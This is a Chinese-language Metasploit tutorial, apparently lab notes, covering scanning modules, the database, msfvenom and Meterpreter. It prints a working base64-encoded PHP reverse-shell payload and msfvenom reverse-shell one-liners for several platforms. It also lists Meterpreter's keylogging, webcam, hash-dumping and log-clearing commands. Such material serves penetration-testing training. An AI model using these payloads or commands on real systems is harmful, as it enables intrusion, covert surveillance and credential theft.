#什么是metasploit

Metasploit是使用最广泛的开发框架。Metasploit 是一个强大的工具,可以支持渗透测试的所有阶段,从信息收集到后利用

metasploit有两个版本,分别是:

  • Metasploit Pro:商业版本,有助于任务的自动化和管理。该版本有图形用户界面( GUI)。
  • Metasploit Framework:从命令行运行的开源版本。

Metasploit框架是一组工具,可用于信息收集、扫描、利用、利用开发、后利用等。虽然 Metasploit 框架的主要用途集中在渗透测试领域,但它对于漏洞研究和漏洞利用开发也很有用。

Metasploit框架的主要组件可概括如下:

  • msfconsole:主命令行界面。
  • 模块:支持模块,例如漏洞利用、扫描器、有效负载等。
  • 工具:有助于漏洞研究、漏洞评估或渗透测试的独立工具。其中一些工具包括msfvenom、pattern_create 和pattern_offset。我们将在本模块中介绍 msfvenom,但pattern_create 和pattern_offset 是在漏洞利用开发中有用的工具

在kali中的/usr/share/metasploit-framework/modules下可以看到各种工具

启动控制台

msfconsole就可以启动控制台了,命令行和linux一样

Msfconsole由上下文管理;这意味着除非设置为全局变量,否则如果更改决定使用的模块,所有参数设置都将丢失。(setg设置后为全局变量)

信息收集模块

端口扫描模块

在msf中可以使用nmap进行扫描,也可以搜索相关的端口扫描模块

search portscan

show options 查看相关的配置

  • CONCURRENCY:同时扫描的目标数量。
  • PORTS:要扫描的端口范围。请注意,此处的 1-1000 与使用默认配置的 Nmap 不同。Nmap 将扫描最常用的 1000 个端口,而 Metasploit 将扫描从 1 到 10000 的端口号。
  • RHOTS:要扫描的目标或目标网络。
  • THREADS:将同时使用的线程数。更多线程将导致更快的扫描。

UDP服务识别

scanner/discovery/udp_sweep 模块将允许您快速识别通过 UDP(用户数据报协议)运行的服务。如下所示,该模块不会对所有可能的 UDP 服务进行广泛扫描,但确实提供了一种快速方法来识别 DNS 或 NetBIOS 等服务。

msf6 auxiliary(scanner/discovery/udp_sweep) > run

[*] Sending 13 probes to 10.10.12.229->10.10.12.229 (1 hosts)
[*] Discovered NetBIOS on 10.10.12.229:137 (JON-PC::U :WORKGROUP::G :JON-PC::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__::G :02:ce:59:27:c8:e3)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/udp_sweep) >

SMB 服务识别枚举模块

在企业网络中尤其有用 smb_enumsharessmb_version

smb_enumshares 枚举模块

smb_version 版本探测服务

msf 数据库

metasploit 具有数据库功能,可以简化项目管理并避免设置参数值时可能出现的混乱

您首先需要启动 PostgreSQL 数据库,Metasploit 将通过以下命令使用该数据库:

systemctl start postgresql

然后您需要使用该msfdb init命令初始化 Metasploit 数据库。

进入msf 输入 db_status 查看当前状态

数据库功能将允许您创建工作区来隔离不同的项目。首次启动时,您应该位于默认工作区中。您可以使用该workspace 命令列出可用的工作区。

您可以分别使用该-a参数添加工作区或使用该参数删除工作区-d

您还会注意到新的数据库名称以红色打印,以*符号开头。

您可以使用工作区命令在工作区之间导航,只需键入workspace后跟所需的工作区名称即可。

您可以使用该 workspace -h命令列出该workspace 命令的可用选项。

与常规 Metasploit 用法不同,一旦使用数据库命令启动 Metasploit help ,您将显示数据库后端命令菜单。

database Backend Commands
=========================

Command Description
------- -----------
analyze Analyze database information about a specific address or address range
db_connect Connect to an existing data service
db_disconnect Disconnect from the current data service
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache (deprecated)
db_remove Remove the saved data service entry
db_save Save the current data service connection as the default to reconnect on startup
db_status Show the current data service status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces

使用db_nmap 的结果将保存到数据库中

使用hosts 主机信息 services 查看相关版本和开放端口

漏洞扫描模块

vnc扫描模块

如果你使用信息收集收集到了开放了vnc服务则可以使用 use auxiliary/scanner/vnc/

vnc_login 模块可以帮助我们找到VNC服务的登录详细信息。

您可以使用该命令搜索漏洞利用search 程序,使用该命令获取有关该漏洞利用程序的更多信息info ,并使用 启动该漏洞利用程序exploit。虽然过程本身很简单,但请记住,成功的结果取决于对目标系统上运行的服务的透彻理解。

大多数漏洞利用都会有预设的默认负载。但是,您始终可以使用该show payloads命令列出可用于该特定漏洞的其他命令。

一旦决定了有效负载,您就可以使用该set payload命令进行选择。

打开会话后,您可以使用将其置于后台CTRL+Z或使用将其中止CTRL+C。当同时处理多个目标或使用不同的漏洞利用和/或 shell 处理同一目标时,后台会话将非常有用。

sessions 命令将列出所有活动会话。该 sessions 命令支持许多选项,可帮助您更好地管理会话。

使用sessions -i后跟会话 ID 的命令与任何现有会话进行交互。

Msfvenom

Msfvenom 取代了 Msfpayload 和 Msfencode,允许您生成有效负载。

Msfvenom 将允许您访问 Metasploit 框架中可用的所有有效负载。Msfvenom 允许您为许多不同的目标系统(Apple、Windows、Android、Linux 等)创建多种不同格式(PHP、exe、dll、elf 等)的有效负载。

msfvenom --list formats命令可用于列出支持的输出格式

编码器

与某些观点相反,编码器的目的并不是绕过目标系统上安装的防病毒软件。顾名思义,它们对有效负载进行编码。虽然它可以有效对抗某些防病毒软件,但使用现代混淆技术或学习方法注入 shellcode 是解决该问题的更好方法。下面的例子展示了encoding的用法(带有-e参数)。PHP版本的Meterpreter是用Base64编码的,输出格式是raw.

root@ip-10-10-186-44:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1507 (iteration=0)
php/base64 chosen with final size 1507
Payload size: 1507 bytes
eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzEwLjEwLjE4Ni40NCc7ICRwb3J0ID0gNDQ0NDsgaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgeyAkcyA9ICRmKCJ0Y3A6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigkaXAsICRwb3J0KTsgJHNfdHlwZSA9ICdzdHJlYW0nOyB9IGlmICghJHMgJiYgKCRmID0gJ3NvY2tldF9jcmVhdGUnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOyBpZiAoISRyZXMpIHsgZGllKCk7IH0gJHNfdHlwZSA9ICdzb2NrZXQnOyB9IGlmICghJHNfdHlwZSkgeyBkaWUoJ25vIHNvY2tldCBmdW5jcycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWFtJzogJGxlbiA9IGZyZWFkKCRzLCA0KTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkcywgNCk7IGJyZWFrOyB9IGlmICghJGxlbikgeyBkaWUoKTsgfSAkYSA9IHVucGFjaygi.TmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYiA9ICcnOyB3aGlsZSAoc3RybGVuKCRiKSA8ICRsZW4pIHsgc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7));
root@ip-10-10-186-44:~#

Linux可执行和可链接格式 (elf)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
.elf 格式与 Windows 中的 .exe 格式相当。这些是 Linux 的可执行文件。但是,您可能仍然需要确保它们在目标计算机上具有可执行权限。例如,一旦目标计算机上有 shell.elf 文件,请使用 chmod +x shell.elf 命令授予可执行权限。完成后,您可以通过在目标计算机命令行上键入 ./shell.elf 来运行此文件。

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

使用msf进行文件上传并反弹shell

生成一个php 反弹shell

使用 Multi Handler 来接收传入的连接。该模块可以与该命令一起使用use exploit/multi/handler

多处理程序支持所有Metasploit有效负载,并且可用于 Meterpreter 以及常规 shell。

要使用该模块,我们需要设置有效负载值(php/reverse_php在本例中)、LHOST 和 LPORT 值。

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set lhost 10.0.2.19
lhost => 10.0.2.19
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (php/reverse_php):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.19 yes The listen address (an interface may be specified)
LPORT 7777 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf6 exploit(multi/handler) >

输入run 后上传文件即可

Meterpreter简介

Meterpreter 是一个 Metasploit 有效负载,通过许多有价值的组件支持渗透测试过程。Meterpreter 将在目标系统上运行,并充当命令和控制架构中的代理。您将与目标操作系统和文件进行交互,并使用 Meterpreter 的专用命令。

Meterpreter 有很多版本,根据目标系统提供不同的功能。

Meterpreter 是如何工作的?

Meterpreter 在目标系统上运行,但未安装。它在内存中运行,不会将自身写入目标上的磁盘。此功能旨在避免在防病毒扫描期间被检测到。默认情况下,大多数防病毒软件将扫描磁盘上的新文件(例如,当您从互联网下载文件时) Meterpreter 在内存(RAM - 随机存取存储器)中运行,以避免将文件写入到磁盘上目标系统(例如meterpreter.exe)。这样,Meterpreter 将被视为一个进程,并且在目标系统上没有文件。

Meterpreter 还旨在通过与运行 Metasploit 的服务器(通常是您的攻击机器)进行加密通信,避免被基于网络的 IPS(入侵防御系统)和 IDS(入侵检测系统)解决方案检测到。如果目标组织不解密和检查进出本地网络的加密流量(例如HTTPS),IPS 和IDS 解决方案将无法检测其活动。

虽然 Meterpreter 被主要防病毒软件识别,但此功能提供了一定程度的隐蔽性。

使用了该 msfvenom --list payloads 命令并 grep“meterpreter”有效负载(添加| grep meterpreter到命令行)

root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager
android/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell
android/meterpreter_reverse_tcp Connect back to the attacker and spawn a Meterpreter shell
apple_ios/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
apple_ios/armle/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
linux/aarch64/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/aarch64/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/aarch64/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/armbe/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/armle/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection
linux/armle/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker [...]

核心命令

  • background:当前会话的背景
  • exit:终止Meterpreter会话
  • guid:获取会话GUID(全局唯一标识符)
  • help:显示帮助菜单
  • info:显示Post模块的信息
  • irb:在当前会话上打开交互式 Ruby shell
  • load:加载一个或多个 Meterpreter 扩展
  • migrate:允许您将 Meterpreter 迁移到另一个进程
  • run:执行Meterpreter脚本或Post模块
  • sessions:快速切换到另一个会话

文件系统命令

  • cd: 将更改目录
  • ls:将列出当前目录中的文件(dir也可以)
  • pwd:打印当前工作目录
  • edit:将允许您编辑文件
  • cat:将文件的内容显示到屏幕上
  • rm:将删除指定文件
  • search:将搜索文件
  • upload:将上传文件或目录
  • download:将下载文件或目录

联网命令

  • arp:显示主机ARP(地址解析协议)缓存
  • ifconfig:显示目标系统上可用的网络接口
  • netstat:显示网络连接情况
  • portfwd:将本地端口转发到远程服务
  • route:允许查看和修改路由表

系统命令

  • clearev:清除事件日志
  • execute:执行命令
  • getpid:显示当前进程标识符
  • getuid:显示 Meterpreter 正在运行的用户
  • kill: 终止一个进程
  • pkill:按名称终止进程
  • ps:列出正在运行的进程
  • reboot:重新启动远程计算机
  • shell:进入系统命令 shell
  • shutdown:关闭远程计算机
  • sysinfo:获取远程系统的信息,例如OS

其他命令(这些命令将在帮助菜单中的不同菜单类别下列出)

  • idletime:返回远程用户空闲的秒数
  • keyscan_dump:转储击键缓冲区
  • keyscan_start:开始捕获击键
  • keyscan_stop:停止捕获击键
  • screenshare:允许您实时观看远程用户的桌面
  • screenshot:抓取交互式桌面的屏幕截图
  • record_mic:从默认麦克风录制音频 X 秒
  • webcam_chat:开始视频聊天
  • webcam_list:列出网络摄像头
  • webcam_snap:从指定的网络摄像头拍摄快照
  • webcam_stream:播放指定网络摄像头的视频流
  • getsystem:尝试将您的权限提升到本地系统的权限
  • hashdump:转储SAM数据库的内容

迁移(migrate)到另一个进程将有助于 Meterpreter 与其交互。例如,如果您看到目标上运行着一个文字处理器(例如 word.exe、notepad.exe 等),您可以迁移到它并开始捕获用户发送到此进程的击键。某些 Meterpreter 版本将为您提供keyscan_startkeyscan_stopkeyscan_dump命令选项,使 Meterpreter 充当键盘记录器。迁移到另一个进程也可以帮助您获得更稳定的 Meterpreter 会话。

要迁移到任何进程,您需要键入 migrate 命令,后跟所需目标进程的 PID。下面的示例显示 Meterpreter 迁移到进程 ID 716。hashdump查看哈希值